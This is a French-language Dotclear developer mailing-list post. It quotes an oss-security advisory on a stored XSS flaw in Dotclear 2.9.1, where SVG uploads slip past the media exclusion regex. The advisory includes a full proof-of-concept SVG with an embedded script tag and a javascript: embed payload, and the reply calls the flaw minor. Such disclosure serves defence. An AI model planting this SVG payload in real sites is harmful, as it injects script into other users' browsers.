Bonjour et merci pour le signalement. Je n'étais pas au courant, non, cela dit c'est mineur comme faille vu qu'il faut pouvoir uploader un SVG qui contient du code malicieux.
2016-05-04 11:56 GMT+02:00 Aymeric <[email protected]>: > Bonjour, > > Pour information, vous êtes peut être (je l’espère) déjà au courant. > > A+ > Aymeric. > > -------- Original Message -------- > Subject: [oss-security] Dotclear 2.9.1 XSS vulnerability by SVG > Date: 2016-05-04 08:46 > From: limingxing <[email protected]> > To: "[email protected]" <[email protected]> > Reply-To: [email protected] > > Hello, > We find an vulnerability about Dotclear 2.9.1 XSS vulnerability by SVG > > inc/core/class.dc.core.php > array('media_exclusion','string','/\.(phps?|pht(ml)?|phl)[0-9]*$/i', > > Attackers can upload a special SVG picture, for example, add the origin > SVG picture with > <script>alert(location)</script> > <foreignObject width="100" height="50" > requiredExtensions="http://www.w3.org/1999/xhtml";> > <embed xmlns="http://www.w3.org/1999/xhtml"; > src="javascript:alert(location)" /> > </foreignObject> > After upload the special SVG, attackers can publish an article with this > picture with the herf link to this picture. If someone click the picture, > it will jump to the url of the picture, and this will cause XSS. > Test on Firefox 45.0.2 （20160407164938）with two alerts. > Test on Chrome 50.0.2661.94m and IE 10.0.10240.16766 with only one alert > (<script>alert (location)</script>) > > > The picture used for test is > > <?xml version="1.0" encoding="iso-8859-1"?> > <!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG > Version: 6.00 Build 0) --> > <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" " > http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";> > <svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg"; > xmlns:xlink="http://www.w3.org/1999/xlink"; x="0px" y="0px" > viewBox="0 0 22 20" style="enable-background:new 0 0 22 20;" > xml:space="preserve"> > <g> > <path style="fill-rule:evenodd;clip-rule:evenodd;" > d="M0,10.014c0,1.985,1.486,3.632,3.438,3.95l0.688,0.055h3.832v-1.993H4.173 > > L3.717,11.99C2.399,11.78,2,10.982,1.943,9.939C1.888,8.942,2.831,8.053,4.475,7.486c0,0-1.214-1.617,0-2.633 > > c1.214-1.016,2.967,0.884,2.967,0.884s2.197-4.176,5.463-3.87c4.929,0.463,4.541,5.917,4.541,5.917s2.566,0.439,2.566,2.155 > > c0,1.915-2.185,2.087-2.185,2.087h-3.758v1.993h3.806l0.688-0.055C20.514,13.646,22,11.999,22,10.014 > > c0-1.744-1.148-3.229-2.751-3.778C19.191,2.782,16.289,0,12.719,0c-2.575,0-4.802,1.447-5.866,3.55 > > C6.35,3.01,5.622,2.67,4.812,2.67c-1.519,0-2.75,1.196-2.75,2.67c0,0.385,0.084,0.751,0.234,1.081C0.936,7.076,0,8.439,0,10.014z" > /> > <polygon style="fill-rule:evenodd;clip-rule:evenodd;" > points="12,20 12,8.581 16,11 16,9 11,6 6,9 6,11 10,8.581 10,20 "/> > </g> > <script>alert(location)</script> > <foreignObject width="100" height="50" > requiredExtensions="http://www.w3.org/1999/xhtml";> > > <embed xmlns="http://www.w3.org/1999/xhtml"; > src="javascript:alert(location)" /> > > </foreignObject> > > </svg> > > This vulnerability was found by chenruiqi of Qihoo 360 Codesafe Team > -- > Dev mailing list - [email protected] - > http://ml.dotclear.org/listinfo/dev -- Franck — Operating Crocker’s rules (http://sl4.org/crocker.html) -- Dev mailing list - [email protected] - http://ml.dotclear.org/listinfo/dev
